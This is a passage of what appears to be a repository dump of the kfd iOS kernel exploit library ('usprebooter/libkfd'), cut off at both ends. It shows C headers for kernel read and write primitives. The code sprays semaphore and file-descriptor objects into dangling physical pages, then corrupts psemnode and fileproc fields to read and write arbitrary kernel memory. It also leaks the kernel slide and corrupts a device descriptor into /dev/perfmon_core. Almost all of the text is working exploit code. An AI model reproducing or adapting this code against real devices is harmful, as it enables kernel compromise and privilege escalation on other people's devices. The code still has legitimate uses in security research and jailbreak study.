kaddr)\n{\n    u64 kqworkloop_uaddr = kfd->kread.krkw_object_uaddr;\n    u64 old_kqwl_owner = uget_u64(kqworkloop__kqwl_owner, kqworkloop_uaddr);\n    u64 new_kqwl_owner = kaddr - kfd_offset(thread__thread_id);\n    uset_u64(kqworkloop__kqwl_owner, new_kqwl_owner, kqworkloop_uaddr);\n\n    struct kqueue_dyninfo data = {};\n    i32 callnum = PROC_INFO_CALL_PIDDYNKQUEUEINFO;\n    i32 pid = kfd->info.env.pid;\n    u32 flavor = PROC_PIDDYNKQUEUE_INFO;\n    u64 arg = kfd->kread.krkw_object_id + kread_kqueue_workloop_ctl_sentinel;\n    u64 buffer = (u64)(&data);\n    i32 buffersize = (i32)(sizeof(struct kqueue_dyninfo));\n//    assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize);\n\n    uset_u64(kqworkloop__kqwl_owner, old_kqwl_owner, kqworkloop_uaddr);\n    return data.kqdi_owner;\n}\n\n#endif /* kread_kqueue_workloop_ctl_h */\n"
  },
  {
    "path": "usprebooter/libkfd/krkw/kread/kread_sem_open.h",
    "content": "/*\n * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.\n */\n\n#ifndef kread_sem_open_h\n#define kread_sem_open_h\n\nconst char* kread_sem_open_name = \"kfd-posix-semaphore\";\n\nu64 kread_sem_open_kread_u64(struct kfd* kfd, u64 kaddr);\nu32 kread_sem_open_kread_u32(struct kfd* kfd, u64 kaddr);\n\nvoid kread_sem_open_init(struct kfd* kfd)\n{\n    kfd->kread.krkw_maximum_id = kfd->info.env.maxfilesperproc - 100;\n    kfd->kread.krkw_object_size = sizeof(struct psemnode);\n\n    kfd->kread.krkw_method_data_size = ((kfd->kread.krkw_maximum_id + 1) * (sizeof(i32))) + sizeof(struct psem_fdinfo);\n    kfd->kread.krkw_method_data = malloc_bzero(kfd->kread.krkw_method_data_size);\n\n    sem_unlink(kread_sem_open_name);\n    i32 sem_fd = (i32)(usize)(sem_open(kread_sem_open_name, (O_CREAT | O_EXCL), (S_IRUSR | S_IWUSR), 0));\n    //assert(sem_fd > 0);\n\n    i32* fds = (i32*)(kfd->kread.krkw_method_data);\n    fds[kfd->kread.krkw_maximum_id] = sem_fd;\n\n    struct psem_fdinfo* sem_data = (struct psem_fdinfo*)(&fds[kfd->kread.krkw_maximum_id + 1]);\n    i32 callnum = PROC_INFO_CALL_PIDFDINFO;\n    i32 pid = kfd->info.env.pid;\n    u32 flavor = PROC_PIDFDPSEMINFO;\n    u64 arg = sem_fd;\n    u64 buffer = (u64)(sem_data);\n    i32 buffersize = (i32)(sizeof(struct psem_fdinfo));\n    assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize);\n}\n\nvoid kread_sem_open_allocate(struct kfd* kfd, u64 id)\n{\n    i32 fd = (i32)(usize)(sem_open(kread_sem_open_name, 0, 0, 0));\n    assert(fd > 0);\n\n    i32* fds = (i32*)(kfd->kread.krkw_method_data);\n    fds[id] = fd;\n}\n\nbool kread_sem_open_search(struct kfd* kfd, u64 object_uaddr)\n{\n    volatile struct psemnode* pnode = (volatile struct psemnode*)(object_uaddr);\n    i32* fds = (i32*)(kfd->kread.krkw_method_data);\n    struct psem_fdinfo* sem_data = (struct psem_fdinfo*)(&fds[kfd->kread.krkw_maximum_id + 1]);\n\n    if ((pnode[0].pinfo > pac_mask) &&\n        (pnode[1].pinfo == pnode[0].pinfo) &&\n        (pnode[2].pinfo == pnode[0].pinfo) &&\n        (pnode[3].pinfo == pnode[0].pinfo) &&\n        (pnode[0].padding == 0) &&\n        (pnode[1].padding == 0) &&\n        (pnode[2].padding == 0) &&\n        (pnode[3].padding == 0)) {\n        for (u64 object_id = kfd->kread.krkw_searched_id; object_id < kfd->kread.krkw_allocated_id; object_id++) {\n            struct psem_fdinfo data = {};\n            i32 callnum = PROC_INFO_CALL_PIDFDINFO;\n            i32 pid = kfd->info.env.pid;\n            u32 flavor = PROC_PIDFDPSEMINFO;\n            u64 arg = fds[object_id];\n            u64 buffer = (u64)(&data);\n            i32 buffersize = (i32)(sizeof(struct psem_fdinfo));\n\n            const u64 shift_amount = 4;\n            pnode[0].pinfo += shift_amount;\n            assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize);\n            pnode[0].pinfo -= shift_amount;\n\n            if (!memcmp(&data.pseminfo.psem_name[0], &sem_data->pseminfo.psem_name[shift_amount], 16)) {\n                kfd->kread.krkw_object_id = object_id;\n                return true;\n            }\n        }\n\n        /*\n         * False alarm: it wasn't one of our psemmode objects.\n         */\n        print_warning(\"failed to find modified psem_name sentinel\");\n    }\n\n    return false;\n}\n\nvoid kread_sem_open_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size)\n{\n    kread_from_method(u64, kread_sem_open_kread_u64);\n}\n\nvoid kread_sem_open_find_proc(struct kfd* kfd)\n{\n    u64 pseminfo_kaddr = ((volatile struct psemnode*)(kfd->kread.krkw_object_uaddr))->pinfo;\n    u64 semaphore_kaddr = kget_u64(pseminfo__psem_semobject, pseminfo_kaddr);\n    u64 task_kaddr = kget_u64(semaphore__owner, semaphore_kaddr);\n    u64 proc_kaddr = task_kaddr - kfd_offset(proc__object_size);\n    kfd->info.kaddr.kernel_proc = proc_kaddr;\n\n    /*\n     * Go backwards from the kernel_proc, which is the last proc in the list.\n     */\n    while (true) {\n        i32 pid = kget_u64(proc__p_pid, proc_kaddr);\n        if (pid == kfd->info.env.pid) {\n            kfd->info.kaddr.current_proc = proc_kaddr;\n            break;\n        }\n\n        proc_kaddr = kget_u64(proc__p_list__le_prev, proc_kaddr);\n    }\n}\n\nvoid kread_sem_open_deallocate(struct kfd* kfd, u64 id)\n{\n    /*\n     * Let kwrite_sem_open_deallocate() take care of\n     * deallocating all the shared file descriptors.\n     */\n    return;\n}\n\nvoid kread_sem_open_free(struct kfd* kfd)\n{\n    /*\n     * Let's null out the kread reference to the shared data buffer\n     * because kwrite_sem_open_free() needs it and will free it.\n     */\n    kfd->kread.krkw_method_data = NULL;\n}\n\n/*\n * 64-bit kread function.\n */\n\nu64 kread_sem_open_kread_u64(struct kfd* kfd, u64 kaddr)\n{\n    i32* fds = (i32*)(kfd->kread.krkw_method_data);\n    i32 kread_fd = fds[kfd->kread.krkw_object_id];\n    u64 psemnode_uaddr = kfd->kread.krkw_object_uaddr;\n\n    u64 old_pinfo = ((volatile struct psemnode*)(psemnode_uaddr))->pinfo;\n    u64 new_pinfo = kaddr - kfd_offset(pseminfo__psem_uid);\n    ((volatile struct psemnode*)(psemnode_uaddr))->pinfo = new_pinfo;\n\n    struct psem_fdinfo data = {};\n    i32 callnum = PROC_INFO_CALL_PIDFDINFO;\n    i32 pid = kfd->info.env.pid;\n    u32 flavor = PROC_PIDFDPSEMINFO;\n    u64 arg = kread_fd;\n    u64 buffer = (u64)(&data);\n    i32 buffersize = (i32)(sizeof(struct psem_fdinfo));\n    assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize);\n\n    ((volatile struct psemnode*)(psemnode_uaddr))->pinfo = old_pinfo;\n    return *(u64*)(&data.pseminfo.psem_stat.vst_uid);\n}\n\n/*\n * 32-bit kread function that is guaranteed to not underflow a page,\n * i.e. those 4 bytes are the first 4 bytes read by the modified kernel pointer.\n */\n\nu32 kread_sem_open_kread_u32(struct kfd* kfd, u64 kaddr)\n{\n    i32* fds = (i32*)(kfd->kread.krkw_method_data);\n    i32 kread_fd = fds[kfd->kread.krkw_object_id];\n    u64 psemnode_uaddr = kfd->kread.krkw_object_uaddr;\n\n    u64 old_pinfo = ((volatile struct psemnode*)(psemnode_uaddr))->pinfo;\n    u64 new_pinfo = kaddr - kfd_offset(pseminfo__psem_usecount);\n    ((volatile struct psemnode*)(psemnode_uaddr))->pinfo = new_pinfo;\n\n    struct psem_fdinfo data = {};\n    i32 callnum = PROC_INFO_CALL_PIDFDINFO;\n    i32 pid = kfd->info.env.pid;\n    u32 flavor = PROC_PIDFDPSEMINFO;\n    u64 arg = kread_fd;\n    u64 buffer = (u64)(&data);\n    i32 buffersize = (i32)(sizeof(struct psem_fdinfo));\n    assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize);\n\n    ((volatile struct psemnode*)(psemnode_uaddr))->pinfo = old_pinfo;\n    return *(u32*)(&data.pseminfo.psem_stat.vst_size);\n}\n\n#endif /* kread_sem_open_h */\n"
  },
  {
    "path": "usprebooter/libkfd/krkw/kwrite/kwrite_dup.h",
    "content": "/*\n * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.\n */\n\n#ifndef kwrite_dup_h\n#define kwrite_dup_h\n\nvoid kwrite_dup_kwrite_u64(struct kfd* kfd, u64 kaddr, u64 new_value);\n\nvoid kwrite_dup_init(struct kfd* kfd)\n{\n    kfd->kwrite.krkw_maximum_id = kfd->info.env.maxfilesperproc - 100;\n    kfd->kwrite.krkw_object_size = sizeof(struct fileproc);\n\n    kfd->kwrite.krkw_method_data_size = ((kfd->kwrite.krkw_maximum_id + 1) * (sizeof(i32)));\n    kfd->kwrite.krkw_method_data = malloc_bzero(kfd->kwrite.krkw_method_data_size);\n\n    i32 kqueue_fd = kqueue();\n    assert(kqueue_fd > 0);\n\n    i32* fds = (i32*)(kfd->kwrite.krkw_method_data);\n    fds[kfd->kwrite.krkw_maximum_id] = kqueue_fd;\n}\n\nvoid kwrite_dup_allocate(struct kfd* kfd, u64 id)\n{\n    i32* fds = (i32*)(kfd->kwrite.krkw_method_data);\n    i32 kqueue_fd = fds[kfd->kwrite.krkw_maximum_id];\n    i32 fd = dup(kqueue_fd);\n    assert(fd > 0);\n    fds[id] = fd;\n}\n\nbool kwrite_dup_search(struct kfd* kfd, u64 object_uaddr)\n{\n    volatile struct fileproc* fp = (volatile struct fileproc*)(object_uaddr);\n    i32* fds = (i32*)(kfd->kwrite.krkw_method_data);\n\n    if ((fp->fp_iocount == 1) &&\n        (fp->fp_vflags == 0) &&\n        (fp->fp_flags == 0) &&\n        (fp->fp_guard_attrs == 0) &&\n        (fp->fp_glob > ptr_mask) &&\n        (fp->fp_guard == 0)) {\n        for (u64 object_id = kfd->kwrite.krkw_searched_id; object_id < kfd->kwrite.krkw_allocated_id; object_id++) {\n            assert_bsd(fcntl(fds[object_id], F_SETFD, FD_CLOEXEC));\n\n            if (fp->fp_flags == 1) {\n                kfd->kwrite.krkw_object_id = object_id;\n                return true;\n            }\n\n            assert_bsd(fcntl(fds[object_id], F_SETFD, 0));\n        }\n\n        /*\n         * False alarm: it wasn't one of our fileproc objects.\n         */\n        print_warning(\"failed to find modified fp_flags sentinel\");\n    }\n\n    return false;\n}\n\nvoid kwrite_dup_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size)\n{\n    kwrite_from_method(u64, kwrite_dup_kwrite_u64);\n}\n\nvoid kwrite_dup_find_proc(struct kfd* kfd)\n{\n    /*\n     * Assume that kread is responsible for that.\n     */\n    return;\n}\n\nvoid kwrite_dup_deallocate(struct kfd* kfd, u64 id)\n{\n    i32* fds = (i32*)(kfd->kwrite.krkw_method_data);\n    assert_bsd(close(fds[id]));\n}\n\nvoid kwrite_dup_free(struct kfd* kfd)\n{\n    kwrite_dup_deallocate(kfd, kfd->kwrite.krkw_object_id);\n    kwrite_dup_deallocate(kfd, kfd->kwrite.krkw_maximum_id);\n}\n\n/*\n * 64-bit kwrite function.\n */\n\nvoid kwrite_dup_kwrite_u64(struct kfd* kfd, u64 kaddr, u64 new_value)\n{\n    if (new_value == 0) {\n        print_warning(\"cannot write 0\");\n        return;\n    }\n\n    i32* fds = (i32*)(kfd->kwrite.krkw_method_data);\n    i32 kwrite_fd = fds[kfd->kwrite.krkw_object_id];\n    u64 fileproc_uaddr = kfd->kwrite.krkw_object_uaddr;\n    volatile struct fileproc* fp = (volatile struct fileproc*)(fileproc_uaddr);\n\n    const bool allow_retry = true;\n\n    do {\n        u64 old_value = 0;\n        kread((u64)(kfd), kaddr, &old_value, sizeof(old_value));\n\n        if (old_value == 0) {\n            print_warning(\"cannot overwrite 0\");\n            return;\n        }\n\n        if (old_value == new_value) {\n            break;\n        }\n\n        u16 old_fp_guard_attrs = fp->fp_guard_attrs;\n        u16 new_fp_guard_attrs = GUARD_REQUIRED;\n        fp->fp_guard_attrs = new_fp_guard_attrs;\n\n        u64 old_fp_guard = fp->fp_guard;\n        u64 new_fp_guard = kaddr - kfd_offset(fileproc_guard__fpg_guard);\n        fp->fp_guard = new_fp_guard;\n\n        u64 guard = old_value;\n        u32 guardflags = GUARD_REQUIRED;\n        u64 nguard = new_value;\n        u32 nguardflags = GUARD_REQUIRED;\n\n        if (allow_retry) {\n            syscall(SYS_change_fdguard_np, kwrite_fd, &guard, guardflags, &nguard, nguardflags, NULL);\n        } else {\n            assert_bsd(syscall(SYS_change_fdguard_np, kwrite_fd, &guard, guardflags, &nguard, nguardflags, NULL));\n        }\n\n        fp->fp_guard_attrs = old_fp_guard_attrs;\n        fp->fp_guard = old_fp_guard;\n    } while (allow_retry);\n}\n\n#endif /* kwrite_dup_h */\n"
  },
  {
    "path": "usprebooter/libkfd/krkw/kwrite/kwrite_sem_open.h",
    "content": "/*\n * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.\n */\n\n#ifndef kwrite_sem_open_h\n#define kwrite_sem_open_h\n\nvoid kwrite_sem_open_init(struct kfd* kfd)\n{\n    kfd->kwrite.krkw_maximum_id = kfd->kread.krkw_maximum_id;\n    kfd->kwrite.krkw_object_size = sizeof(struct fileproc);\n\n    kfd->kwrite.krkw_method_data_size = kfd->kread.krkw_method_data_size;\n    kfd->kwrite.krkw_method_data = kfd->kread.krkw_method_data;\n}\n\nvoid kwrite_sem_open_allocate(struct kfd* kfd, u64 id)\n{\n    if (id == 0) {\n        id = kfd->kwrite.krkw_allocated_id = kfd->kread.krkw_allocated_id;\n        if (kfd->kwrite.krkw_allocated_id == kfd->kwrite.krkw_maximum_id) {\n            /*\n             * Decrement krkw_allocated_id to account for increment in\n             * krkw_helper_run_allocate(), because we return without allocating.\n             */\n            kfd->kwrite.krkw_allocated_id--;\n            return;\n        }\n    }\n\n    /*\n     * Just piggyback.\n     */\n    kread_sem_open_allocate(kfd, id);\n}\n\nbool kwrite_sem_open_search(struct kfd* kfd, u64 object_uaddr)\n{\n    /*\n     * Just piggyback.\n     */\n    return kwrite_dup_search(kfd, object_uaddr);\n}\n\nvoid kwrite_sem_open_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size)\n{\n    /*\n     * Just piggyback.\n     */\n    kwrite_dup_kwrite(kfd, uaddr, kaddr, size);\n}\n\nvoid kwrite_sem_open_find_proc(struct kfd* kfd)\n{\n    /*\n     * Assume that kread is responsible for that.\n     */\n    return;\n}\n\nvoid kwrite_sem_open_deallocate(struct kfd* kfd, u64 id)\n{\n    /*\n     * Skip the deallocation for the kread object because we are\n     * responsible for deallocating all the shared file descriptors.\n     */\n    if (id != kfd->kread.krkw_object_id) {\n        i32* fds = (i32*)(kfd->kwrite.krkw_method_data);\n        assert_bsd(close(fds[id]));\n    }\n}\n\nvoid kwrite_sem_open_free(struct kfd* kfd)\n{\n    /*\n     * Note that we are responsible to deallocate the kread object, but we must\n     * discard its object id because of the check in kwrite_sem_open_deallocate().\n     */\n    u64 kread_id = kfd->kread.krkw_object_id;\n    kfd->kread.krkw_object_id = (-1);\n    kwrite_sem_open_deallocate(kfd, kread_id);\n    kwrite_sem_open_deallocate(kfd, kfd->kwrite.krkw_object_id);\n    kwrite_sem_open_deallocate(kfd, kfd->kwrite.krkw_maximum_id);\n}\n\n#endif /* kwrite_sem_open_h */\n"
  },
  {
    "path": "usprebooter/libkfd/krkw.h",
    "content": "/*\n * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.\n */\n\n#ifndef krkw_h\n#define krkw_h\n\n#define kread_from_method(type, method)                                             \\\n    do {                                                                            \\\n        volatile type* type_base = (volatile type*)(uaddr);                         \\\n        u64 type_size = ((size) / (sizeof(type)));                                  \\\n        for (u64 type_offset = 0; type_offset < type_size; type_offset++) {         \\\n            type type_value = method(kfd, kaddr + (type_offset * sizeof(type)));    \\\n            type_base[type_offset] = type_value;                                    \\\n        }                                                                           \\\n    } while (0)\n\n#include \"krkw/kread/kread_kqueue_workloop_ctl.h\"\n#include \"krkw/kread/kread_sem_open.h\"\n\n#define kwrite_from_method(type, method)                                       \\\n    do {                                                                       \\\n        volatile type* type_base = (volatile type*)(uaddr);                    \\\n        u64 type_size = ((size) / (sizeof(type)));                             \\\n        for (u64 type_offset = 0; type_offset < type_size; type_offset++) {    \\\n            type type_value = type_base[type_offset];                          \\\n            method(kfd, kaddr + (type_offset * sizeof(type)), type_value);     \\\n        }                                                                      \\\n    } while (0)\n\n#include \"krkw/kwrite/kwrite_dup.h\"\n#include \"krkw/kwrite/kwrite_sem_open.h\"\n\n// Forward declarations for helper functions.\nvoid krkw_helper_init(struct kfd* kfd, struct krkw* krkw);\nvoid krkw_helper_grab_free_pages(struct kfd* kfd);\nvoid krkw_helper_run_allocate(struct kfd* kfd, struct krkw* krkw);\nvoid krkw_helper_run_deallocate(struct kfd* kfd, struct krkw* krkw);\nvoid krkw_helper_free(struct kfd* kfd, struct krkw* krkw);\n\n#define kread_method_case(method)                                       \\\n    case method: {                                                      \\\n        const char* method_name = #method;                              \\\n        print_string(method_name);                                      \\\n        kfd->kread.krkw_method_ops.init = method##_init;                \\\n        kfd->kread.krkw_method_ops.allocate = method##_allocate;        \\\n        kfd->kread.krkw_method_ops.search = method##_search;            \\\n        kfd->kread.krkw_method_ops.kread = method##_kread;              \\\n        kfd->kread.krkw_method_ops.kwrite = NULL;                       \\\n        kfd->kread.krkw_method_ops.find_proc = method##_find_proc;      \\\n        kfd->kread.krkw_method_ops.deallocate = method##_deallocate;    \\\n        kfd->kread.krkw_method_ops.free = method##_free;                \\\n        break;                                                          \\\n    }\n\n#define kwrite_method_case(method)                                       \\\n    case method: {                                                       \\\n        const char* method_name = #method;                               \\\n        print_string(method_name);                                       \\\n        kfd->kwrite.krkw_method_ops.init = method##_init;                \\\n        kfd->kwrite.krkw_method_ops.allocate = method##_allocate;        \\\n        kfd->kwrite.krkw_method_ops.search = method##_search;            \\\n        kfd->kwrite.krkw_method_ops.kread = NULL;                        \\\n        kfd->kwrite.krkw_method_ops.kwrite = method##_kwrite;            \\\n        kfd->kwrite.krkw_method_ops.find_proc = method##_find_proc;      \\\n        kfd->kwrite.krkw_method_ops.deallocate = method##_deallocate;    \\\n        kfd->kwrite.krkw_method_ops.free = method##_free;                \\\n        break;                                                           \\\n    }\n\nvoid krkw_init(struct kfd* kfd, u64 kread_method, u64 kwrite_method)\n{\n    switch (kread_method) {\n        kread_method_case(kread_kqueue_workloop_ctl)\n        kread_method_case(kread_sem_open)\n    }\n\n    switch (kwrite_method) {\n        kwrite_method_case(kwrite_dup)\n        kwrite_method_case(kwrite_sem_open)\n    }\n\n    krkw_helper_init(kfd, &kfd->kread);\n    krkw_helper_init(kfd, &kfd->kwrite);\n}\n\nvoid krkw_run(struct kfd* kfd)\n{\n    krkw_helper_grab_free_pages(kfd);\n\n    timer_start();\n    krkw_helper_run_allocate(kfd, &kfd->kread);\n    krkw_helper_run_allocate(kfd, &kfd->kwrite);\n    krkw_helper_run_deallocate(kfd, &kfd->kread);\n    krkw_helper_run_deallocate(kfd, &kfd->kwrite);\n    timer_end();\n}\n\nvoid krkw_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size)\n{\n    kfd->kread.krkw_method_ops.kread(kfd, kaddr, uaddr, size);\n}\n\nvoid krkw_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size)\n{\n    kfd->kwrite.krkw_method_ops.kwrite(kfd, uaddr, kaddr, size);\n}\n\nvoid krkw_free(struct kfd* kfd)\n{\n    krkw_helper_free(kfd, &kfd->kread);\n    krkw_helper_free(kfd, &kfd->kwrite);\n}\n\n/*\n * Helper krkw functions.\n */\n\nvoid krkw_helper_init(struct kfd* kfd, struct krkw* krkw)\n{\n    krkw->krkw_method_ops.init(kfd);\n}\n\nvoid krkw_helper_grab_free_pages(struct kfd* kfd)\n{\n    timer_start();\n\n    const u64 copy_pages = (kfd->info.copy.size / pages(1));\n    const u64 grabbed_puaf_pages_goal = (kfd->puaf.number_of_puaf_pages / 4);\n    const u64 grabbed_free_pages_max = 400000;\n\n    for (u64 grabbed_free_pages = copy_pages; grabbed_free_pages < grabbed_free_pages_max; grabbed_free_pages += copy_pages) {\n        assert_mach(vm_copy(mach_task_self(), kfd->info.copy.src_uaddr, kfd->info.copy.size, kfd->info.copy.dst_uaddr));\n\n        u64 grabbed_puaf_pages = 0;\n        for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) {\n            u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i];\n            if (!memcmp(info_copy_sentinel, (void*)(puaf_page_uaddr), info_copy_sentinel_size)) {\n                if (++grabbed_puaf_pages == grabbed_puaf_pages_goal) {\n                    print_u64(grabbed_free_pages);\n                    timer_end();\n                    return;\n                }\n            }\n        }\n    }\n\n    print_warning(\"failed to grab free pages goal\");\n}\n\nvoid krkw_helper_run_allocate(struct kfd* kfd, struct krkw* krkw)\n{\n    timer_start();\n    const u64 batch_size = (pages(1) / krkw->krkw_object_size);\n\n    while (true) {\n        /*\n         * Spray a batch of objects, but stop if the maximum id has been reached.\n         */\n        bool maximum_reached = false;\n\n        for (u64 i = 0; i < batch_size; i++) {\n            if (krkw->krkw_allocated_id == krkw->krkw_maximum_id) {\n                maximum_reached = true;\n                break;\n            }\n\n            krkw->krkw_method_ops.allocate(kfd, krkw->krkw_allocated_id);\n            krkw->krkw_allocated_id++;\n        }\n\n        /*\n         * Search the puaf pages for the last batch of objects.\n         *\n         * Note that we make the following assumptions:\n         * - All objects have a 64-bit alignment.\n         * - All objects can be found within 1/16th of a page.\n         * - All objects have a size smaller than 15/16th of a page.\n         */\n        for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) {\n            u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i];\n            u64 stop_uaddr = puaf_page_uaddr + (pages(1) / 16);\n            for (u64 object_uaddr = puaf_page_uaddr; object_uaddr < stop_uaddr; object_uaddr += sizeof(u64)) {\n                if (krkw->krkw_method_ops.search(kfd, object_uaddr)) {\n                    krkw->krkw_searched_id = krkw->krkw_object_id;\n                    krkw->krkw_object_uaddr = object_uaddr;\n                    goto loop_break;\n                }\n            }\n        }\n\n        krkw->krkw_searched_id = krkw->krkw_allocated_id;\n\n        if (maximum_reached) {\nloop_break:\n            break;\n        }\n    }\n\n    timer_end();\n    const char* krkw_type = (krkw->krkw_method_ops.kread) ? \"kread\" : \"kwrite\";\n\n    if (!krkw->krkw_object_uaddr) {\n        for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) {\n            u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i];\n            print_buffer(puaf_page_uaddr, 64);\n            break;\n        }\n\n        assert_false(krkw_type);\n    }\n\n    print_message(\n        \"%s ---> object_id = %llu, object_uaddr = 0x%016llx, object_size = %llu, allocated_id = %llu/%llu, batch_size = %llu\",\n        krkw_type,\n        krkw->krkw_object_id,\n        krkw->krkw_object_uaddr,\n        krkw->krkw_object_size,\n        krkw->krkw_allocated_id,\n        krkw->krkw_maximum_id,\n        batch_size\n    );\n\n    assert(krkw->krkw_object_uaddr);\n    print_buffer(krkw->krkw_object_uaddr, krkw->krkw_object_size);\n\n    if (!kfd->info.kaddr.current_proc) {\n        krkw->krkw_method_ops.find_proc(kfd);\n    }\n}\n\nvoid krkw_helper_run_deallocate(struct kfd* kfd, struct krkw* krkw)\n{\n    timer_start();\n\n    for (u64 id = 0; id < krkw->krkw_allocated_id; id++) {\n        if (id == krkw->krkw_object_id) {\n            continue;\n        }\n\n        krkw->krkw_method_ops.deallocate(kfd, id);\n    }\n\n    timer_end();\n}\n\nvoid krkw_helper_free(struct kfd* kfd, struct krkw* krkw)\n{\n    krkw->krkw_method_ops.free(kfd);\n\n    if (krkw->krkw_method_data) {\n        bzero_free(krkw->krkw_method_data, krkw->krkw_method_data_size);\n    }\n}\n\n#endif /* krkw_h */\n"
  },
  {
    "path": "usprebooter/libkfd/perf.h",
    "content": "/*\n * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.\n */\n\n#ifndef perf_h\n#define perf_h\n\n// Forward declarations for helper functions.\nu64 phystokv(struct kfd* kfd, u64 pa);\nu64 vtophys(struct kfd* kfd, u64 va);\n\nvoid perf_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size)\n{\n    assert((size != 0) && (size <= UINT16_MAX));\n    assert(kfd->perf.shared_page.uaddr);\n    assert(kfd->perf.shared_page.kaddr);\n\n    volatile struct perfmon_config* config = (volatile struct perfmon_config*)(kfd->perf.shared_page.uaddr);\n    *config = (volatile struct perfmon_config){};\n    config->pc_spec.ps_events = (struct perfmon_event*)(kaddr);\n    config->pc_spec.ps_event_count = (u16)(size);\n\n    struct perfmon_spec spec_buffer = {};\n    spec_buffer.ps_events = (struct perfmon_event*)(uaddr);\n    spec_buffer.ps_event_count = (u16)(size);\n    assert_bsd(ioctl(kfd->perf.dev.fd, PERFMON_CTL_SPECIFY, &spec_buffer));\n\n    *config = (volatile struct perfmon_config){};\n}\n\nvoid perf_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size)\n{\n    assert((size != 0) && ((size % sizeof(u64)) == 0));\n    assert(kfd->perf.shared_page.uaddr);\n    assert(kfd->perf.shared_page.kaddr);\n\n    volatile struct perfmon_config* config = (volatile struct perfmon_config*)(kfd->perf.shared_page.uaddr);\n    volatile struct perfmon_source* source = (volatile struct perfmon_source*)(kfd->perf.shared_page.uaddr + sizeof(*config));\n    volatile struct perfmon_event* event = (volatile struct perfmon_event*)(kfd->perf.shared_page.uaddr + sizeof(*config) + sizeof(*source));\n\n    u64 source_kaddr = kfd->perf.shared_page.kaddr + sizeof(*config);\n    u64 event_kaddr = kfd->perf.shared_page.kaddr + sizeof(*config) + sizeof(*source);\n\n    for (u64 i = 0; i < (size / sizeof(u64)); i++) {\n        *config = (volatile struct perfmon_config){};\n        *source = (volatile struct perfmon_source){};\n        *event = (volatile struct perfmon_event){};\n\n        config->pc_source = (struct perfmon_source*)(source_kaddr);\n        config->pc_spec.ps_events = (struct perfmon_event*)(event_kaddr);\n        config->pc_counters = (struct perfmon_counter*)(kaddr + (i * sizeof(u64)));\n\n        source->ps_layout.pl_counter_count = 1;\n        source->ps_layout.pl_fixed_offset = 1;\n\n        struct perfmon_event event_buffer = {};\n        u64 kvalue = ((volatile u64*)(uaddr))[i];\n        event_buffer.pe_number = kvalue;\n        assert_bsd(ioctl(kfd->perf.dev.fd, PERFMON_CTL_ADD_EVENT, &event_buffer));\n    }\n\n    *config = (volatile struct perfmon_config){};\n    *source = (volatile struct perfmon_source){};\n    *event = (volatile struct perfmon_event){};\n}\n\nvoid perf_init(struct kfd* kfd)\n{\n    /*\n     * Allocate a page that will be used as a shared buffer between user space and kernel space.\n     */\n    vm_address_t shared_page_address = 0;\n    vm_size_t shared_page_size = pages(1);\n    assert_mach(vm_allocate(mach_task_self(), &shared_page_address, shared_page_size, VM_FLAGS_ANYWHERE));\n    memset((void*)(shared_page_address), 0, shared_page_size);\n    kfd->perf.shared_page.uaddr = shared_page_address;\n    kfd->perf.shared_page.size = shared_page_size;\n\n    /*\n     * Open a \"/dev/aes_0\" descriptor, then use it to find the kernel slide.\n     */\n    kfd->perf.dev.fd = open(\"/dev/aes_0\", O_RDWR);\n    assert(kfd->perf.dev.fd > 0);\n}\n\nvoid perf_run(struct kfd* kfd)\n{\n    assert(kfd->info.kaddr.current_proc);\n    u64 fd_ofiles = kget_u64(proc__p_fd__fd_ofiles, kfd->info.kaddr.current_proc);\n    u64 fileproc_kaddr = unsign_kaddr(fd_ofiles) + (kfd->perf.dev.fd * sizeof(u64));\n    u64 fileproc = 0;\n    kread((u64)(kfd), fileproc_kaddr, &fileproc, sizeof(fileproc));\n    u64 fp_glob_kaddr = fileproc + offsetof(struct fileproc, fp_glob);\n    u64 fp_glob = 0;\n    kread((u64)(kfd), fp_glob_kaddr, &fp_glob, sizeof(fp_glob));\n    u64 fg_ops = kget_u64(fileglob__fg_ops, unsign_kaddr(fp_glob));\n    u64 fo_kqfilter =  kget_u64(fileops__fo_kqfilter, unsign_kaddr(fg_ops));\n    u64 vn_kqfilter = unsign_kaddr(fo_kqfilter);\n    u64 kernel_slide = vn_kqfilter - kfd_offset(kernelcache__vn_kqfilter);\n    u64 kernel_base = kfd_offset(kernelcache__kernel_base) + kernel_slide;\n    kfd->perf.kernel_slide = kernel_slide;\n    print_x64(kfd->perf.kernel_slide);\n\n    if (kfd->kread.krkw_method_ops.kread == kread_sem_open_kread) {\n        u32 mh_header[2] = {};\n        mh_header[0] = kread_sem_open_kread_u32(kfd, kernel_base);\n        mh_header[1] = kread_sem_open_kread_u32(kfd, kernel_base + 4);\n        assert(mh_header[0] == 0xfeedfacf);\n        assert(mh_header[1] == 0x0100000c);\n    }\n\n    /*\n     * Corrupt the \"/dev/aes_0\" descriptor into a \"/dev/perfmon_core\" descriptor.\n     */\n    u64 fg_data = kget_u64(fileglob__fg_data, unsign_kaddr(fp_glob));\n    u64 v_specinfo = kget_u64(vnode__v_un__vu_specinfo, unsign_kaddr(fg_data));\n    kfd->perf.dev.si_rdev_kaddr = unsign_kaddr(v_specinfo) + kfd_offset(specinfo__si_rdev);\n    kread((u64)(kfd), 